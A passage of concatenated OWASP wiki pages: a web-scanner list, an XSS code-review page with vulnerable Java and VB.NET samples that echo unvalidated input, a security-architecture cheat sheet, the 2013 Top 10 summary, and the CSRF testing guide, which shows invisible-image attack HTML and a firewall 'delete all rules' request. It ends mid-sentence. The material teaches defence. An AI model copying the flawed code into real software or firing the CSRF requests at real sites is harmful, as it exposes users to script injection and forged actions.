{{OWASP Tool Info || tool_name = [http://www.parasoft.com/products/article.jsp?articleId=3169&redname=webtesting&referred=webtesting SOATest] || tool_owner = Parasoft || tool_licence = Commercial || tool_platforms = Windows / Linux / Solaris}}
{{OWASP Tool Info || tool_name = [https://www.tinfoilsecurity.com Tinfoil Security] || tool_owner = Tinfoil Security, Inc. || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = SaaS or On-Premises}}
{{OWASP Tool Info || tool_name = [https://www.trustwave.com/external-vulnerability-scanning.php Trustkeeper Scanner] || tool_owner = Trustwave SpiderLabs || tool_licence = Commercial || tool_platforms = SaaS}}
{{OWASP Tool Info || tool_name = [https://subgraph.com/vega/ Vega] || tool_owner = Subgraph || tool_licence = Open Source || tool_platforms = Windows, Linux and Macintosh}}
{{OWASP Tool Info || tool_name = [http://wapiti.sourceforge.net/ Wapiti] || tool_owner = Informática Gesfor || tool_licence = Open Source || tool_platforms = Windows, Unix/Linux and Macintosh}}
{{OWASP Tool Info || tool_name = [http://www.tripwire.com/it-security-software/enterprise-vulnerability-management/web-application-vulnerability-scanning/ WebApp360] || tool_owner = TripWire || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www8.hp.com/us/en/software-solutions/software.html?compURI=1341991#.Uuf0KBAo4iw WebInspect] || tool_owner = HP || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.websecurify.com/desktop/webreaver.html WebReaver] || tool_owner = Websecurify || tool_licence = Commercial || tool_platforms = Macintosh}}
{{OWASP Tool Info || tool_name = [http://www.german-websecurity.com/en/products/webscanservice/product-details/overview/ WebScanService] || tool_owner = German Web Security || tool_licence = Commercial || tool_platforms = N/A}}
{{OWASP Tool Info || tool_name = [https://suite.websecurify.com/ Websecurify Suite] || tool_owner = Websecurify || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = Windows, Linux, Macintosh}}
{{OWASP Tool Info || tool_name = [http://www.sensepost.com/research/wikto/ Wikto] || tool_owner = Sensepost || tool_licence = Open Source || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.w3af.org/ w3af] || tool_owner = w3af.org || tool_licence = GPLv2.0 || tool_platforms = Linux and Mac}}
{{OWASP Tool Info || tool_name = [https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework Xenotix XSS Exploit Framework] || tool_owner = OWASP || tool_licence = Open Source || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project Zed Attack Proxy] || tool_owner = OWASP || tool_licence = Open Source || tool_platforms = Windows, Unix/Linux and Macintosh}}
{{OWASP Tool Info || tool_name = [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project Zed Attack Proxy] || tool_owner = OWASP || tool_licence = Open Source || tool_platforms = Windows, Unix/Linux and Macintosh}}
|}

== References ==

*[[Source_Code_Analysis_Tools | SAST Tools]] - Similar Information on Static Application Security Testing (SAST) Tools
*http://projects.webappsec.org/Web-Application-Security-Scanner-Evaluation-Criteria
*http://www.slideshare.net/lbsuto/accuracy-and-timecostsofwebappscanners
*http://samate.nist.gov/index.php/Web_Application_Vulnerability_Scanners.html
*http://www.tssci-security.com/archives/2007/11/24/2007-security-testing-tools-in-review/
*http://www.softwareqatest.com/qatweb1.html#SECURITY

[[Category:OWASP_Tools_Project]]

Template:OWASP Tool Info

2017-04-05T21:30:27Z

Christina Schelin:

<includeonly>|-
|align="left" | {{#if: {{{tool_name|}}} | {{{tool_name}}} | }}
|align="left" | {{#if: {{{tool_owner|}}} | {{{tool_owner}}} | }}
|align="left" | {{#if: {{{tool_licence|}}} | {{{tool_licence}}} | }}
|align="left" | {{#if: {{{tool_platforms|}}} | {{{tool_platforms}}} | }}</includeonly><noinclude>
This template provides tool related information for OWASP Tools Project.

=== Usage ===
<pre>
{{Template:OWASP Tool Info
| tool_name =
| tool_owner =
| tool_licence =
| tool_platforms =
}}
</pre>

=== Example ===
<pre>
{{Template:OWASP Tool Info
| tool_name = Internal IP detector
| tool_owner = Mr. John
| tool_licence = Commercial (trial available)
| tool_platforms = Windows, Linux
}}
</pre>
</noinclude>

Template:OWASP Tool Info

2017-04-05T21:25:27Z

Christina Schelin:

<includeonly>
|-
|align="left" | {{#if: {{{tool_name|}}} | {{{tool_name}}} | }}
|align="left" | {{#if: {{{tool_owner|}}} | {{{tool_owner}}} | }}
|align="left" | {{#if: {{{tool_licence|}}} | {{{tool_licence}}} | }}
|align="left" | {{#if: {{{tool_platforms|}}} | {{{tool_platforms}}} | }}
</includeonly><noinclude>
This template provides tool related information for OWASP Tools Project.

=== Usage ===
<pre>
{{Template:OWASP Tool Info
| tool_name =
| tool_owner =
| tool_licence =
| tool_platforms =
}}
</pre>

=== Example ===
<pre>
{{Template:OWASP Tool Info
| tool_name = Internal IP detector
| tool_owner = Mr. John
| tool_licence = Commercial (trial available)
| tool_platforms = Windows, Linux
}}
</pre>
</noinclude>

XSS Attacks

2016-06-15T14:39:04Z

Christina Schelin: Tiny feex.

[[OWASP Code Review Guide Table of Contents]]

Contact author: [mailto:eoinkeary@owasp.org Eoin Keary]

:'''NOTICE: PLEASE SEE [[Reviewing code for XSS issues]] as this page may not be up to date.'''

==XSS attacks ==

Bad code example:

If the text inputted by the user is reflected back and has not been data validated the browser shall interpret the inputted script as part of the mark up and execute the code accordingly.
To mitigate this type of vulnerability we need to perform a number of security tasks in our code:

# Validate data
# Encode unsafe output

import org.apache.struts.action.*;
import org.apache.commons.beanutils.BeanUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public final class InsertEmployeeAction extends Action {

public ActionForward execute(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response) throws Exception{

// Setting up objects and vairables.

Obj1 service = new Obj1();
ObjForm objForm = (ObjForm) form;
InfoADT adt = new InfoADT ();
BeanUtils.copyProperties(adt, objForm);

String searchQuery = objForm.getqueryString();
String payload = objForm.getPayLoad();
try {
service.doWork(adt); / /do something with the data
ActionMessages messages = new ActionMessages();
ActionMessage message = new ActionMessage("success", adt.getName() );
messages.add( ActionMessages.GLOBAL_MESSAGE, message );
saveMessages( request, messages );
request.setAttribute("Record", adt);
return (mapping.findForward("success"));
}
catch( DatabaseException de )
{
ActionErrors errors = new ActionErrors();
ActionError error = new ActionError("error.employee.databaseException" + “Payload: “+payload);
errors.add( ActionErrors.GLOBAL_ERROR, error );
saveErrors( request, errors ); return (mapping.findForward("error: "+ searchQuery));
}
}
}

The red text above shows some common mistakes in the development of this struts action class. Firstly the data passed in the HttpServletRequest is placed into a parameter without being data validated.

Focusing on XSS we can see that this action class returns either a message, ActionMessage in the case of the function being successful. In the case of an error the code in the Try/Catch block is executed and we can see here that the data inputted by the user, the data contained in the HttpServletRequest is returned to the user, unvalidated and exactly in the format in which the user inputted it.

import java.io.*;
import javax.servlet.http.*;
import javax.servlet.*;

public class HelloServlet extends HttpServlet
{
public void doGet (HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException
{

String input = req.getHeader(“USERINPUT”);

PrintWriter out = res.getWriter();
out.println(input); // echo User input.
out.close();
}
}

A second example of an XSS vulnerable function. Echoing un-validated user input back to the browser would give a nice large vulnerability footprint.

.NET Example (ASP.NET version 1.1 ASP.NET version 2.0):

The server side code for a VB.NET application may have similar functionality

' SearchResult.aspx.vb
Imports System
Imports System.Web
Imports System.Web.UI
Imports System.Web.UI.WebControls

Public Class SearchPage Inherits System.Web.UI.Page

Protected txtInput As TextBox
Protected cmdSearch As Button
Protected lblResult As Label Protected

Sub cmdSearch _Click(Source As Object, _ e As EventArgs)

// Do Search…..
// …………

lblResult.Text="You Searched for: " & txtInput.Text

// Display Search Results…..
// …………

End Sub
End Class

This is a VB.NET example of a Cross Site Script vulnerable piece of search functionality which echoes back the data inputted by the user. To mitigate against this we need proper data validation and in the case of stored XSS attacks we need to encode known bad (as mentioned before).

In the .NET framework there are some in-built security functions which can assist in data validation and HTML encoding, namley, ASP.NET 1.1 '''request validation '''feature and '''HttpUtility.HtmlEncode'''.

Microsoft in their wisdom state that you should not rely solely on ASP.NET request validation
and that it should be used in conjunction with your own data validation, such as regular expressions (mentioned below).

The request validation feature is disabled on an individual page by specifying in the page directive

'''<%@ Page validateRequest="false" %>'''

or by setting '''ValidateRequest="false"''' on the '''@ Pages''' element.

or in the '''web.config''' file:

You can disable request validation by adding a

<'''pages'''> element with '''validateRequest="false"'''

So when reviewing code make sure the validateRequest directive is enabled an if not, investigate what method of DV is being used, if any.
Check that ASP.NET Request validation Is enabled in '''Machine.config'''
Request validation is enabled by ASP.NET by default. You can see the following default setting in the '''Machine.config''' file.

'''<pages validateRequest="true" ... /> '''

HTML Encoding:

Content to be displayed can easily be encoded using the HtmlEncode function. This is done by calling:

'''Server.HtmlEncode(string)'''

Using the html encoder example for a form:

Text Box: <%@ Page Language="C#" ValidateRequest="false" %>

<script runat="server">
void searchBtn _Click(object sender, EventArgs e) {
Response.Write(HttpUtility.HtmlEncode(inputTxt.Text)); }
</script>
<html>
<body>
<form id="form1" runat="server">
<div>
<asp:TextBox ID="inputTxt" Runat="server" TextMode="MultiLine" Width="382px" Height="152px">
</asp:TextBox>
<asp:Button ID="searchBtn" Runat="server" Text="Submit" OnClick=" searchBtn _Click" />
</div>
</form>
</body>
</html>

'''Stored Cross Site Script:'''
Using Html encoding to encode potentially unsafe output.:

Malicious script can be stored/persisted in a database and shall not execute until retrieved by a user. This can also be the case in bulletin boards and some early web email clients. This incubated attack can sit dormant for a long period of time until a user decides to view the page where the injected script is present. At this point the script shall execute on the users browser:

The original source of input for the injected script may be from another vulnerable application, which is common in enterprise architectures. Therefore the application at hand may have good input data validation but the data persisted may not have been entered via this application per se, but via another application.

In this case we cannot be 100% sure the data to be displayed to the user is 100% safe (as it could of found its way in via another path in the enterprise).
The approach to mitigate against this si to ensure the data sent to the browser is not going to be interpreted by the browser as mark-up and should be treated as user data.

We encode known bad to mitigate against this “enemy within”. This in effect assures the browser interprets any special characters as data and markup.
How is this done?
HTML encoding usually means '''<''' becomes '''&lt;''', '''>''' becomes '''&gt;''', '''&''' becomes '''&amp;''', and '''"''' becomes '''&quot;'''.

From To

<      &lt;

>      &gt;

(      &#40;

)      &#41;

#      &#35;

&      &amp;

"      &quot;

So for example the text <script> would be displayed as <script> but on viewing the markup it would be represented by &lt;script&gt;

[[Category:OWASP Code Review Project]]

Application Security Architecture Cheat Sheet

2015-11-04T18:33:46Z

Christina Schelin: Minor

<br/>
= DRAFT CHEAT SHEET - WORK IN PROGRESS =

<br/>
= Introduction =

This cheat sheet offers tips for the initial design and review of an application's security architecture.

<br/>
= Business Requirements =

== Business Model ==

* What is the application's primary business purpose?
* How will the application make money?
* What are the planned business milestones for developing or improving the application?
* How is the application marketed?
* What key benefits does application offer its users?
* What business continuity provisions have been defined for the application?
* What geographic areas does the application service?

== Data Essentials ==

* What data does the application receive, produce, and process?
* How can the data be classified into categories according to its sensitivity?
* How might an attacker benefit from capturing or modifying the data?
* What data backup and retention requirements have been defined for the application?

== End‐Users ==

* Who are the application's end‐users?
* How do the end‐users interact with the application?
* What security expectations do the end‐users have?

== Partners ==

* Which third parties supply data to the application?
* Which third parties receive data from the applications?
* Which third parties process the application's data?
* What mechanisms are used to share data with third‐parties besides the application itself?
* What security requirements do the partners impose?

== Administrators ==

* Who has administrative capabilities in the application?
* What administrative capabilities does the application offer?

== Regulations ==

* In what industries does the application operate?
* What security‐related regulations apply?
* What auditing and compliance regulations apply?

<br/>
= Infrastructure Requirements =

== Network ==
* What details regarding routing, switching, firewalling, and load‐balancing have been defined?
* What network design supports the application?
* What core network devices support the application?
* What network performance requirements exist?
* What private and public network links support the application?

== Systems ==
* What operating systems support the application?
* What hardware requirements have been defined?
* What details regarding required OS components and lock‐down needs have been defined?

== Infrastructure Monitoring ==
* What network and system performance monitoring requirements have been defined?
* What mechanisms exist to detect malicious code or compromised application components?
* What network and system security monitoring requirements have been defined?

== Virtualization and Externalization ==
* What aspects of the application lend themselves to virtualization?
* What virtualization requirements have been defined for the application?
* What aspects of the product may or may not be hosted via the cloud computing model?

<br/>
= Application Requirements =

== Environment ==
* What frameworks and programming languages have been used to create the application?
* What process, code, or infrastructure dependencies have been defined for the application?
* What databases and application servers support the application?

== Data Processing ==
* What data entry paths does the application support?
* What data output paths does the application support?
* How does data flow across the application's internal components?
* What data input validation requirements have been defined?
* What data does the application store and how?
* What data is or may need to be encrypted and what key management requirements have been defined?
* What capabilities exist to detect the leakage of sensitive data?
* What encryption requirements have been defined for data in transit over WAN and LAN links?
== Access ==
* What user privilege levels does the application support?
* What user identification and authentication requirements have been defined?
* What user authorization requirements have been defined?
* What session management requirements have been defined?
* What access requirements have been defined for URI and Service calls?
* What user access restrictions have been defined?
* How are user identities maintained throughout transaction calls?
== Application Monitoring ==
* What application auditing requirements have been defined?
* What application performance monitoring requirements have been defined?
* What application security monitoring requirements have been defined?
* What application error handling and logging requirements have been defined?
* How are audit and debug logs accessed, stored, and secured?

== Application Design ==
* What application design review practices have been defined and executed?
* How is intermediate or in-process data stored in the application components' memory and in cache?
* How many logical tiers group the application's components?
* What staging, testing, and Quality Assurance requirements have been defined?

<br/>
= Security Program Requirements =

== Operations ==
* What is the process for identifying and addressing vulnerabilities in the application?
* What is the process for identifying and addressing vulnerabilities in network and system components?
* What access to system and network administrators have to the application's sensitive data?
* What security incident requirements have been defined?
* How do administrators access production infrastructure to manage it?
* What physical controls restrict access to the application's components and data?
* What is the process for granting access to the environment hosting the application?

== Change Management ==
* How are changes to the code controlled?
* How are changes to the infrastructure controlled?
* How is code deployed to production?
* What mechanisms exist to detect violations of change management practices?

== Software Development ==
* What data is available to developers for testing?
* How do developers assist with troubleshooting and debugging the application?
* What requirements have been defined for controlling access to the applications source code?
* What secure coding processes have been established?

== Corporate ==
* What corporate security program requirements have been defined?
* What security training do developers and administrators undergo?
* Which personnel oversees security processes and requirements related to the application?
* What employee initiation and termination procedures have been defined?
* What application requirements impose the need to enforce the principle of separation of duties?
* What controls exist to protect a compromised in the corporate environment from affecting production?
* What security governance requirements have been defined?

= Authors and Primary Editors =
[http://www.zeltser.com Lenny Zeltser - First Draft 2012]

[mailto:tony.turner@owasp.org Tony Turner - 2015 Format Change and Revisions]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

Top 10 2013-Top 10

2015-08-21T19:17:02Z

Christina Schelin: A minor thing to make it look a bit nicer.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A1-{{Top_10_2010:ByTheNumbers
|1
|year=2013
|language=en
}}
|useprev=2013PrevLink
|prev={{Top_10:LanguageFile|text=risk|year=2013|language=en}}
|year=2013
|language=en
}}

{| cellspacing="1" cellpadding="1" border="0" width="100%;"
| style="width: 173px;" | {{Top 10:RoundedBoxLinkBegin|year=2013|risk=1|language=en}}<br/>A1-{{Top_10_2010:ByTheNumbers|1|year=2013|language=en}}
{{Top 10:RoundedBoxLinkEnd|year=2013}}
|{{Top 10:GrayBoxBegin|year=2013}}
Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

{{Top 10:GrayBoxEnd|year=2013}}
|-
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=2|language=en}}A2-{{Top_10_2010:ByTheNumbers|2|year=2013|language=en}}
{{Top 10:RoundedBoxLinkEnd|year=2013}}
|{{Top 10:GrayBoxBegin|year=2013}}
Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.

{{Top 10:GrayBoxEnd|year=2013}}
|-
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=3|language=en}}<br/>A3-{{Top_10_2010:ByTheNumbers|3|year=2013|language=en}}
{{Top 10:RoundedBoxLinkEnd|year=2013}}
|{{Top 10:GrayBoxBegin|year=2013}}
XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

{{Top 10:GrayBoxEnd|year=2013}}
|-
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=4|language=en}}<br/>A4-{{Top_10_2010:ByTheNumbers|4|year=2013|language=en}}
{{Top 10:RoundedBoxLinkEnd|year=2013}}
|{{Top 10:GrayBoxBegin|year=2013}}
A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

{{Top 10:GrayBoxEnd|year=2013}}
|-
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=5|language=en}}<br/>A5-{{Top_10_2010:ByTheNumbers|5|year=2013|language=en}}
{{Top 10:RoundedBoxLinkEnd|year=2013}}
|{{Top 10:GrayBoxBegin|year=2013}}
Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date.

{{Top 10:GrayBoxEnd|year=2013}}
|-
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=6|language=en}}<br/>A6-{{Top_10_2010:ByTheNumbers|6|year=2013|language=en}}
{{Top 10:RoundedBoxLinkEnd|year=2013}}
|{{Top 10:GrayBoxBegin|year=2013}}
Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.

{{Top 10:GrayBoxEnd|year=2013}}
|-
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=7|language=en}}<br/>A7-{{Top_10_2010:ByTheNumbers|7|year=2013|language=en}}
{{Top 10:RoundedBoxLinkEnd|year=2013}}
|{{Top 10:GrayBoxBegin|year=2013}}
Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization.

{{Top 10:GrayBoxEnd|year=2013}}
|-
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=8|language=en}}<br/>A8-{{Top_10_2010:ByTheNumbers|8|year=2013|language=en}}
{{Top 10:RoundedBoxLinkEnd|year=2013}}
|{{Top 10:GrayBoxBegin|year=2013}}
A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

{{Top 10:GrayBoxEnd|year=2013}}
|-
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=9|language=en}}A9-{{Top_10_2010:ByTheNumbers|9|year=2013|language=en}}
{{Top 10:RoundedBoxLinkEnd|year=2013}}
|{{Top 10:GrayBoxBegin|year=2013}}
Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts.

{{Top 10:GrayBoxEnd|year=2013}}
|-
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=10|language=en}}<br/>A10-{{Top_10_2010:ByTheNumbers|10|year=2013|language=en}}
{{Top 10:RoundedBoxLinkEnd|year=2013}}
|{{Top 10:GrayBoxBegin|year=2013}}
Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

{{Top 10:GrayBoxEnd|year=2013}}
|}

{{Top_10_2013:BottomTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A1-{{Top_10_2010:ByTheNumbers
|1
|year=2013
|language=en
}}
|useprev=2013PrevLink
|prev={{Top_10:LanguageFile|text=risk|year=2013|language=en}}
|year=2013
|language=en
}}[[Category:Popular]]

OWASP Secure Coding Practices - Quick Reference Guide

2015-04-16T21:02:23Z

Christina Schelin: Just some tidying.

==== Main ====
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[Image:OWASP Inactive Banner.jpg|800px| link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Inactive_Projects]] </div>
== Welcome to the Secure Coding Practices Quick Reference Guide Project ==

The Secure Coding Practices Quick Reference Guide is a technology agnostic set of general software security coding practices, in a comprehensive checklist format, that can be integrated into the development lifecycle. At only 17 pages long, it is easy to read and digest.

The focus is on secure coding requirements, rather then on vulnerabilities and exploits. It includes an introduction to Software Security Principles and a glossary of key terms.

It is designed to serve as a secure coding kick-start tool and easy reference, to help development teams quickly understand secure coding practices.

=== Sections of the Guide: ===

* Table of contents
* Introduction
* Software Security Principles Overview
* Secure Coding Practices Checklist
* Links to useful resources
* Glossary of important terminology

'''Download the current v2 (Stable) release:'''

* [[Media:OWASP_SCP_Quick_Reference_Guide_v2.pdf|English version PDF]]
* [[Media:OWASP_SCP_Quick_Reference_Guide_v2.doc|English version MS Word]]

'''Translations:'''

* [[Media:OWASP_SCP_v1.3_pt-BR.pdf|Brazilian Portuguese Translation PDF]]
* [[Media:OWASP_SCP_v1.3_pt-PT.pdf|Portugal Portuguese Translation PDF]]
* [[Media:2011%EB%85%846%EC%9B%94_OWASP_%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9%EA%B7%9C%EC%B9%99_v2_KOR.pdf|Korean Translation PDF]]
* [[Media:OWASP_SCP_Quick_Reference_Guide_SPA.doc|Spanish Translation doc]]
* [[Media:OWASP_SCP_Quick_Reference_Guide_%28Chinese%29.pdf|Chinese Translation PDF]]

'''Related Presentations:'''<br>
This slide deck incorporates many concepts from the Quick reference guide, but also utilizes other OWASP resources.<br>
[https://www.owasp.org/images/b/ba/Web_Application_Development_Dos_and_Donts.ppt Web Application Development Dos and Donts - Presentation from the Royal Bank of Scotland]

'''Project Feedback and Disposition History'''

[http://www.owasp.org/images/6/64/SCP-QRG_Revisions_History.xls XLS Feedback Spreadsheet]

----
== Feedback and Participation: ==

I hope you find the OWASP Secure Coding Practices Quick Reference Guide Project useful. Please contribute to the Project by sending your comments, questions, and suggestions to [mailto:Keith.Turpin@owasp.org keith.turpin@owasp.org].

Project mailing list and archives:
[https://lists.owasp.org/mailman/listinfo/owasp-secure-coding-practices subscription page.]

----
== Project Contributors: ==

If you contribute to this Project, please add your name here<br>
'''Project Lead:'''
* [[user:Keith Turpin|Keith Turpin]]

'''Contributors:'''<br>
* Dan Kranz
* Walt Pietrowski
* Catherine Spencer
* [mailto:Caleb.mcgary@gmail.com Caleb McGary]
* [mailto:bradcausey@owasp.org Brad Causey]
* [mailto:ludovic.petit@owasp.org Ludovic Petit]
* [mailto:michael.scovetta@gmail.com Michael V. Scovetta]
* [mailto:jim.manico@owasp.org Jim Manico]
* Jason Coleman
* [mailto:anurag.agarwal@yahoo.com Anurag Agarwal]
* [mailto:petand@lvk.cs.msu.su Andrew Petukhov]
<br>
'''Translation Contributors'''<br> <br>
'''Portuguese Translation'''<BR>
* [mailto:tarciziovn@gmail.com Tarcizio Vieira Neto]
* [mailto:silviofilhosf@gmail.com Sílvio Correia Filho]
* [mailto:leandrock@gmail.com Leandro Gomes]
'''Korean Translation'''<br>
* OWASP Korea chapter
'''Spanish Translation'''<br>
* Canedo,Gerardo
* Flores,Mauro
* Hill,Alberto
* Martinez,Mateo
* Papaleo,Mauricio
* Soarez,Nicolás
* Targetta, Cecilia
'''Chinese Translation'''<br>
* [mailto:wangj@owasp.org.cn Jie Wang]
* Yongliang He
* Henghui Lin

==== Project About ====
{{:Projects/OWASP Secure Coding Practices - Quick Reference Guide | Project About}}

__NOTOC__ <headertabs />

[[Category:OWASP_Project|Secure Coding Practices - Quick Reference Guide]] [[Category:OWASP_Document]] [[Category:OWASP Best Practices]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document|OWASP Release Quality Document]]

Testing for Directory Traversal

2015-04-14T15:44:26Z

Christina Schelin: Redirected page to Testing Directory traversal/file include (OTG-AUTHZ-001)

#REDIRECT [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]

Testing for Path Traversal (OWASP-AZ-001)

2015-04-14T15:44:23Z

Christina Schelin: Redirected page to Testing Directory traversal/file include (OTG-AUTHZ-001)

#REDIRECT [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]

Testing for CSRF (OTG-SESS-005)

2015-03-13T20:17:58Z

Christina Schelin: Goodness.

{{Template:OWASP Testing Guide v4}}

==Summary==

[[CSRF]] is an attack that forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email or chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation, when it targets a normal user. If the targeted end user is the administrator account, a CSRF attack can compromise the entire web application.

CSRF relies on the following:

# Web browser behavior regarding the handling of session-related information such as cookies and http authentication information
# Knowledge by the attacker of valid web application URLs
# Application session management relying only on information which is known by the browser
# Existence of HTML tags whose presence cause immediate access to an http[s] resource; for example the image tag ''img''

Points 1, 2, and 3 are essential for the vulnerability to be present, while point 4 facilitates the actual exploitation, but is not strictly required.

Point 1) Browsers automatically send information which is used to identify a user session. Suppose ''site'' is a site hosting a web application, and the user ''victim'' has just authenticated himself to ''site''. In response, ''site'' sends ''victim'' a cookie which identifies requests sent by ''victim'' as belonging to ''victim’s'' authenticated session. Basically, once the browser receives the cookie set by ''site'', it will automatically send it along with any further requests directed to ''site''.

Point 2) If the application does not make use of session-related information in URLs, then it means that the application URLs, their parameters, and legitimate values may be identified (either by code analysis or by accessing the application and taking note of forms and URLs embedded in the HTML/JavaScript).

Point 3) "Known by the browser” refers to information such as cookies, or http-based authentication information (such as Basic Authentication; and not form-based authentication), which are stored by the browser and subsequently present at each request directed towards an application area requesting that authentication. The vulnerabilities discussed next apply to applications which rely entirely on this kind of information to identify a user session.

Suppose, for simplicity's sake, to refer to GET-accessible URLs (though the discussion applies as well to POST requests). If ''victim'' has already authenticated himself, submitting another request causes the cookie to be automatically sent with it (see picture, where the user accesses an application on www.example.com).

<center>[[Image:session_riding.GIF]]</center>

The GET request could be originated in several different ways:

* by the user, who is using the actual web application;
* by the user, who types the URL directly in the browser;
* by the user, who follows a link (external to the application) pointing to the URL.

These invocations are indistinguishable by the application. In particular, the third may be quite dangerous. There are a number of techniques (and of vulnerabilities) which can disguise the real properties of a link. The link can be embedded in an email message, or appear in a malicious web site where the user is lured, i.e., the link appears in content hosted elsewhere (another web site, an HTML email message, etc.) and points to a resource of the application. If the user clicks on the link, since it was already authenticated by the web application on ''site'', the browser will issue a GET request to the web application, accompanied by authentication information (the session id cookie). This results in a valid operation performed on the web application and probably not what the user expects to happen. Think of a malicious link causing a fund transfer on a web banking application to appreciate the implications.

By using a tag such as ''img'', as specified in point 4 above, it is not even necessary that the user follows a particular link. Suppose the attacker sends the user an email inducing him to visit an URL referring to a page containing the following (oversimplified) HTML:

<pre>
<html><body>

...

<img src=”https://www.company.example/action” width=”0” height=”0”>

...

</body></html>
</pre>

What the browser will do when it displays this page is that it will try to display the specified zero-width (i.e., invisible) image as well. This results in a request being automatically sent to the web application hosted on ''site''. It is not important that the image URL does not refer to a proper image, its presence will trigger the request specified in the ''src'' field anyway. This happens provided that image download is not disabled in the browsers, which is a typical configuration since disabling images would cripple most web applications beyond usability.

The problem here is a consequence of the following facts:

* there are HTML tags whose appearance in a page result in automatic http request execution (''img'' being one of those);
* the browser has no way to tell that the resource referenced by ''img ''is not actually an image and is in fact not legitimate;
* image loading happens regardless of the location of the alleged image, i.e., the form and the image itself need not be located in the same host, not even in the same domain. While this is a very handy feature, it makes difficult to compartmentalize applications.

It is the fact that HTML content unrelated to the web application may refer components in the application, and the fact that the browser automatically composes a valid request towards the application, that allows such kind of attacks. As no standards are defined right now, there is no way to prohibit this behavior unless it is made impossible for the attacker to specify valid application URLs. This means that valid URLs must contain information related to the user session, which is supposedly not known to the attacker and therefore make the identification of such URLs impossible.

The problem might be even worse, since in integrated mail/browser environments simply displaying an email message containing the image would result in the execution of the request to the web application with the associated browser cookie.

Things may be obfuscated further, by referencing seemingly valid image URLs such as

<img src=”https://[attacker]/picture.gif” width=”0” height=”0”>

where [attacker] is a site controlled by the attacker, and by utilizing a redirect mechanism on
http://[attacker]/picture.gif to http://[thirdparty]/action.

Cookies are not the only example involved in this kind of vulnerability. Web applications whose session information is entirely supplied by the browser are vulnerable too. This includes applications relying on HTTP authentication mechanisms alone, since the authentication information is known by the browser and is sent automatically upon each request. This DOES NOT include form-based authentication, which occurs just once and generates some form of session-related information (of course, in this case, such information is expressed simply as a cookie and can we fall back to one of the previous cases).

'''Sample scenario.'''

Let’s suppose that the victim is logged on to a firewall web management application. To log in, a user has to authenticate himself and session information is stored in a cookie.

Let's suppose the firewall web management application has a function that allows an authenticated user to delete a rule specified by its positional number, or all the rules of the configuration if the user enters ‘*’ (quite a dangerous feature, but it will make the example more interesting). The delete page is shown next. Let’s suppose that the form – for the sake of simplicity – issues a GET request, which will be of the form

https://[target]/fwmgt/delete?rule=1

(to delete rule number one)

https://[target]/fwmgt/delete?rule=*

(to delete all rules).

The example is purposely quite naive, but shows in a simple way the dangers of CSRF.

<center>[[image:Session Riding Firewall Management.gif]]</center>

Therefore, if we enter the value ‘*’ and press the Delete button, the following GET request is submitted.

https://www.company.example/fwmgt/delete?rule=*

with the effect of deleting all firewall rules (and ending up in a possibly inconvenient situation).

<center>[[image:Session Riding Firewall Management 2.gif]]</center>

Now, this is not the only possible scenario. The user might have accomplished the same results by manually submitting the URL

